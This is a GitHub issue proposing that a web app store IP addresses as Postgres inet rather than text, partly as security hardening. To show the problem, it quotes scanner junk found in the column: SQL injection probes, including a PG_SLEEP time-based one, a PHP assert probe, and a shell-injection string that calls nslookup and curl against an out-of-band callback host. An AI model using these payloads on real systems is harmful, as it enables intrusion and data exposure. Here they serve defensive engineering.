Skip to content

Store IP addresses as inet rather than text #5398

Description

@misaugstad
Brief description of problem/feature

Every ip_address column in the schema is text. Eight tables carry one:

Table Nullable
webpage_activity NO
audit_task_comment NO
street_edge_issue NO
validation_task_comment NO
validation_task_comment_history NO
audit_task_environment YES
validation_task_environment YES
gallery_task_environment YES

They're all written from request.remoteAddress (app/controllers/base/CustomBaseController.scala:42), which honours X-Forwarded-For. Scanners spoof that header, so we store whatever text arrives. A sample of what's in webpage_activity.ip_address on the dev DB today:

spoofed.chpq9756jms6h0o9jv9gi6bat4aajcnic.oast.live
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
OAnXBszmxItYy' OR 55=(SELECT 55 FROM PG_SLEEP(15))--
&(nslookup${IFS}-q${IFS}cname${IFS}hitvdrwropblg36ed4.bxss.me||curl${IFS}hitvdrwropblg36ed4.bxss.me)&
-1" OR 5*5=25 or "pf1bpnK0"="

SQLi probes, OAST callbacks, and shell-injection strings, sitting in a column named ip_address. Nothing interpolates that column into SQL today, so this isn't a live vulnerability — but it's one s"WHERE ip_address = '$ip'" away from being one. Switching the column type to inet makes the entire class of value unrepresentable: Postgres rejects it at write time instead of silently storing it.

Other benefits, independent of the security angle
  • COUNT(DISTINCT ip_address) is quietly wrong right now. We run it in two places (app/models/utils/WebpageActivityTable.scala:188 and :269). As text, 1.2.3.4 and 01.02.03.04 count as two visitors, and the equivalent IPv6 spellings (2607:4000:200:15:0:ffff:80d0:61f vs 2607:4000:0200:0015:0000:ffff:80d0:061f) as two more. inet normalises both — verified on the dev DB. We do have real IPv6 traffic; it's in the top 10 addresses by request count.
  • Storage. On dev's 2.17M-row webpage_activity, that one column is 33 MB as text vs 23 MB as inet. Prod is much larger.
  • Enables subnet queries for abuse/bot triage — << (is-in-subnet), masklen, family — via slick-pg's PgNetSupport, which we can re-add as a mixin when we want it. (It's being removed as an unused mixin in Adopt the slick-pg features we're missing, drop the ones we don't use #3702; re-adding is one line.)
  • The type documents the data.
How to reproduce / current state of the data

Castability across all eight columns on the dev DB (sidewalk_seattle), using a real ::inet cast rather than a regex:

CREATE OR REPLACE FUNCTION pg_temp.is_inet(t text) RETURNS boolean AS $$
BEGIN PERFORM t::inet; RETURN true; EXCEPTION WHEN others THEN RETURN false; END; $$ LANGUAGE plpgsql IMMUTABLE;

75 uncastable rows, all of them in webpage_activity. The other seven tables are 100% clean, which makes sense: webpage_activity is the only one written on unauthenticated GETs, so it's the only one scanners reach.

Work involved
  1. Prod precheck first. Dev's junk is not prod's junk. Run the castability count above across all 54 prod cities before writing the evolution (scratchpad/*-check.sql + run-query-in-every-city.sh).
  2. Decide what happens to the uncastable rows. Five of the eight columns are NOT NULL, so NULL means also dropping NOT NULL; a sentinel like 0.0.0.0 records something false; deleting drops a real activity row. Needs a call — the precheck tells us how many rows are actually at stake.
  3. Evolution changing all eight columns to inet with a USING clause, plus the Scala-side type mapping.
  4. Make the app stop trusting request.remoteAddress. Once the column is inet, a spoofed header turns every insert into a failed request. Validate before the write and store NULL/sentinel instead of letting it throw mid-request.

Step 4 is worth doing on its own merits even if we never change the column type.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Labels

Code CleanupRefactoring and tidy-up with no user-facing change.LoggingUser-interaction and activity logging / analytics.SecuritySecurity vulnerability or hardening

Type

No type

Projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions